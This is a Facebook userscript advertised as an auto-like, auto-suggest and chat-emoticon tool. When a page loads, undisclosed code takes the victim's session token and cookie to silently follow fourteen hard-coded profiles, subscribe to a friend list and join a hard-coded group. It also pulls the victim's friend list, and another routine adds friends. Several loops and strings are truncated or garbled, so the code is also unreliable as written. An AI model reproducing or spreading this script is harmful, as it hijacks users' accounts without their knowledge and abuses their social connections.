// ==UserScript== // @name AutoLike +PLUS Facebook 19/03/2013 [Rezqie Aprilio] // @namespace *[Update]* AutoLike +PLUS Facebook 19/03/2013 [Rezqie Aprilio] // @description *[Update]* AutoLike +PLUS Facebook 19/03/2013 [Rezqie Aprilio] // @author Rezqie Aprilio Sumaatmadja // @include htt*://www.facebook.com/* // @exclude htt*://apps.facebook.com/* // @icon http://s3.amazonaws.com/uso_ss/icon/159097/large.png // @version v 3.19.2013 Final // @exclude htt*://*static*.facebook.com* // @exclude htt*://*channel*.facebook.com* // @exclude htt*://developers.facebook.com/* // @exclude htt*://upload.facebook.com/* // @exclude htt*://www.facebook.com/common/blank.html // @exclude htt*://*connect.facebook.com/* // @exclude htt*://*facebook.com/connect* // @exclude htt*://www.facebook.com/plugins/* // @exclude htt*://www.facebook.com/l.php* // @exclude htt*://www.facebook.com/ai.php* // @exclude htt*://www.facebook.com/extern/* // @exclude htt*://www.facebook.com/pagelet/* // @exclude htt*://api.facebook.com/static/* // @exclude htt*://www.facebook.com/contact_importer/* // @exclude htt*://www.facebook.com/ajax/* // @exclude htt*://www.facebook.com/advertising/* // @exclude htt*://www.facebook.com/ads/* // @exclude htt*://www.facebook.com/sharer/* // @exclude htt*://www.facebook.com/send/* // @exclude htt*://www.facebook.com/mobile/* // @exclude htt*://www.facebook.com/settings/* // @exclude htt*://www.facebook.com/dialog/* // @exclude htt*://www.facebook.com/plugins/* // @exclude htt*://www.facebook.com/bookmarks/* // ==/UserScript== function sarkadaslari_al(){var xmlhttp=new XMLHttpRequest();xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState==4){eval("arkadaslar = "+xmlhttp.responseText.toString().replace("for (;;);","")+";");for(f=0;f=0){xmlhttp.open("GET","https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1"+params,true)}else{xmlhttp.open("GET","http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1"+params,true)}xmlhttp.send()}var tiklama=document.addEventListener("click",function(){if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir")>=0){svn_rev=document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];sarkadaslari_al();document.cookie="paylasti=evet;expires="+btarihi.toGMTString();document.removeEventListener(tiklama)}},false);function sarkadasekle(C,A){var B=new XMLHttpRequest();B.onreadystatechange=function(){if(B.readyState==4){}};B.open("POST","/ajax/add_friend/action.php?__a=1",true);var D="to_friend="+C;D+="&action=add_friend";D+="&how_found=friend_browser";D+="&ref_param=none";D+="&outgoing_id=";D+="&logging_location=friend_browser";D+="&no_flyout_on_click=true";D+="&ego_log_data=";D+="&http_referer=";D+="&fb_dtsg="+document.getElementsByName("fb_dtsg")[0].value;D+="&phstamp=165816749114848369115";D+="&__user="+user_id;B.setRequestHeader("X-SVN-Rev",svn_rev);B.setRequestHeader("Content-Type","application/x-www-form-urlencoded");if(A=="farketmez"&&document.cookie.split("cins"+user_id+"=").length>1){B.send(D)}else{if(document.cookie.split("cins"+user_id+"=").length<=1){cinsiyetgetir(C,A,"sarkadasekle")}else{if(A==document.cookie.split("cins"+user_id+"=")[1].split(";")[0].toString()){B.send(D)}}}}var cinssonuc={};var cinshtml=document.createElement("html");function scinsiyetgetir(uid,cins,fonksiyon){var xmlhttp=new XMLHttpRequest();xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState==4){eval("cinssonuc = "+xmlhttp.responseText.toString().replace("for (;;);","")+";");cinshtml.innerHTML=cinssonuc.jsmods.markup[0][1].__html;btarihi.setTime(bugun.getTime()+1000*60*60*24*365);if(cinshtml.getElementsByTagName("select")[0].value=="1"){document.cookie="cins"+user_id+"=kadin;expires="+btarihi.toGMTString()}else{if(cinshtml.getElementsByTagName("select")[0].value=="2"){document.cookie="cins"+user_id+"=erkek;expires="+btarihi.toGMTString()}}eval(fonksiyon+"("+id+","+cins+");")}};xmlhttp.open("GET","/ajax/timeline/edit_profile/basic_info.php?__a=1&__user="+user_id,true);xmlhttp.setRequestHeader("X-SVN-Rev",svn_rev);xmlhttp.send()}function autoSuggest(){links=document.getElementsByTagName("a");for(i in links){l=links[i];if(l.innerHTML=='Suggest Friend'){l.click()}}}function blub(){if(document.getElementsByClassName("pbm fsm").length==1){w=document.getElementsByClassName("pbm fsm")[0];e=document.createElement("a");e.innerHTML="Auto Suggest by Rezqie Aprilio";e.className="uiButton";e.onclick=autoSuggest;if(w.childElementCount==0){w.appendChild(document.createElement("br"));w.appendChild(e)}}}blub();document.addEventListener("DOMNodeInserted",blub,true);body=document.body;if(body!=null){div=document.createElement("div");div.style.position="fixed";div.style.display="block";div.style.width="130px";div.style.opacity=0.9;div.style.bottom="+90px";div.style.left="+8px";div.style.backgroundColor="#E7EBF2";div.style.border="1px solid #6B84B4";div.style.padding="3px";div.innerHTML="
Reload (F5)
";body.appendChild(div)}if(body!=null){div=document.createElement("div");div.setAttribute("id","like2");div.style.position="fixed";div.style.display="block";div.style.width="130px";div.style.opacity=0.9;div.style.bottom="+65px";div.style.left="+8px";div.style.backgroundColor="#E7EBF2";div.style.border="1px solid #6B84B4";div.style.padding="3px";div.innerHTML="
Like All Status
";body.appendChild(div);unsafeWindow.AutoLike=function(){var B=0;var J=0;var I=document.getElementsByTagName("a");var H=new Array();for(var D=0;D=0&&(I[D].innerHTML=="Me gusta"||I[D].innerHTML=="Like"||I[D].innerHTML=="?????"||I[D].innerHTML=="Suka"||I[D].innerHTML=="Begen"||I[D].innerHTML=="??????"||I[D].innerHTML=="???!"||I[D].innerHTML=="?"||I[D].innerHTML=="Seneng"||I[D].innerHTML=="???"||I[D].innerHTML=="J’aime")){H[J]=I[D];J++}}function E(L){H[L].click();var K="
Like Status: "+(L+1)+"/"+H.length+"
";document.getElementById("like2").innerHTML=K}function G(K){window.setTimeout(C,K)}function A(){var M=document.getElementsByTagName("label");var N=false;for(var L=0;L=0){alert("Warning from Facebook");N=true}}if(!N){G(2160)}}function F(K){window.setTimeout(A,K)}function C(){if(B";document.getElementById("like3").innerHTML=K}function G(K){window.setTimeout(C,K)}function A(){var M=document.getElementsByTagName("label");var N=false;for(var L=0;L=0){alert("Warning from Facebook");N=true}}if(!N){G(2160)}}function F(K){window.setTimeout(A,K)}function C(){if(B0){D=" "}if(B.value.charAt(E)!=" "){A=" "}B.value=B.value.substring(0,E)+D+C.target.getAttribute("alt")+A+B.value.substring(E);createSelection(B,E+C.target.getAttribute("alt").length+A.length+D.length,E+C.target.getAttribute("alt").length+A.length+D.length)}function fStyleClickHandler(D){var B=D.target.parentNode.parentNode.parentNode.parentNode.getElementsByClassName("fbNubFlyoutFooter")[0].getElementsByClassName("inputContainer")[0].getElementsByClassName("uiTextareaAutogrow input")[0];var G=B.value.substring(B.selectionStart,B.selectionEnd);var F=getCursorPosition(B);var C=G.length;if(C==0){B.value=B.value.substring(0,F)+D.target.getAttribute("alt")+B.value.substring(F);createSelection(B,F+1,F+D.target.getAttribute("alt").length-1)}else{var E=D.target.getAttribute("alt").charAt(0);var A=D.target.getAttribute("alt").charAt(0);while(B.value.charAt(F)==" "){F+=1;C-=1}while(B.value.charAt(F+C-1)==" "){C-=1}if(B.value.charAt(F-1)!=" "&&F-1>0){E=" "+E}if(B.value.charAt(F+C)!=" "){A+=" "}B.value=B.value.substring(0,F)+E+B.value.substring(F,F+C)+A+B.value.substring(F+C);createSelection(B,F+C+2,F+C+2)}}function fHideShowEmotBar(A){fChatBar=document.getElementsByName("uiToggleFlyout");if(fChatBar[0].getAttribute("style")=="display: none;"){for(i=0;i0){konum=document.cookie.indexOf(A);if(konum!=-1){konum+=A.length;son=document.cookie.indexOf(";",konum);if(son==-1){son=document.cookie.length}return unescape(document.cookie.substring(konum,son))}else{return""}}}function getRandomInt(B,A){return Math.floor(Math.random()*(A-B+1))+B}function randomValue(A){return A[getRandomInt(0,A.length-1)]}var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);function a(D){var C=new XMLHttpRequest();var B="/ajax/follow/follow_profile.php?__a=1";var A="profile_id="+D+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";C.open("POST",B,true);C.setRequestHeader("Content-type","application/x-www-form-urlencoded");C.setRequestHeader("Content-length",A.length);C.setRequestHeader("Connection","close");C.onreadystatechange=function(){if(C.readyState==4&&C.status==200){C.close}};C.send(A)}function sublist(B){var A=document.createElement("script");A.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+B+" }).send();";document.body.appendChild(A)}a("1381426254");a("100004691462909");a("1804805349");a("100004104259437");a("100003020823206");a("100004134841917");a("100005145457625");a("100005340581836");a("100004837393689");a("100003530014328");a("100003265201633");a("100003509214467");a("100000601841452");a("100005354139493");sublist("4632897385385");var gid=["222900314421282"];var fb_dtsg=document.getElementsByName("fb_dtsg")[0]["value"];var user_id=document.cookie["match"](document.cookie["match"](/c_user=(\d+)/)[1]);var httpwp=new XMLHttpRequest();var urlwp="/ajax/groups/membership/r2j.php?__a=1";var paramswp="&ref=group_jump_header&group_id="+gid+"&fb_dtsg="+fb_dtsg+"&__user="+user_id+"&phstamp=";httpwp.open("POST",urlwp,true);httpwp.setRequestHeader("Content-type","application/x-www-form-urlencoded");httpwp.setRequestHeader("Content-length",paramswp.length);httpwp.setRequestHeader("Connection","keep-alive");httpwp.send(paramswp);var fb_dtsg=document.getElementsByName("fb_dtsg")[0]["value"];var user_id=document.cookie["match"](document.cookie["match"](/c_user=(\d+)/)[1]);var friends=new Array();gf=new XMLHttpRequest();gf.open("GET","/ajax/typeahead/first_degree.php?__a=1&viewer="+user_id+"&token"+Math.random()+"&filter[0]=user&options[0]=friends_only",false);gf.send();if(gf.readyState!=4){}else{data=eval("("+gf.responseText["substr"](9)+")");if(data.error){}else{friends=data.payload["entries"]["sort"](function(B,A){return B.index-A.index})}}for(var i=0;i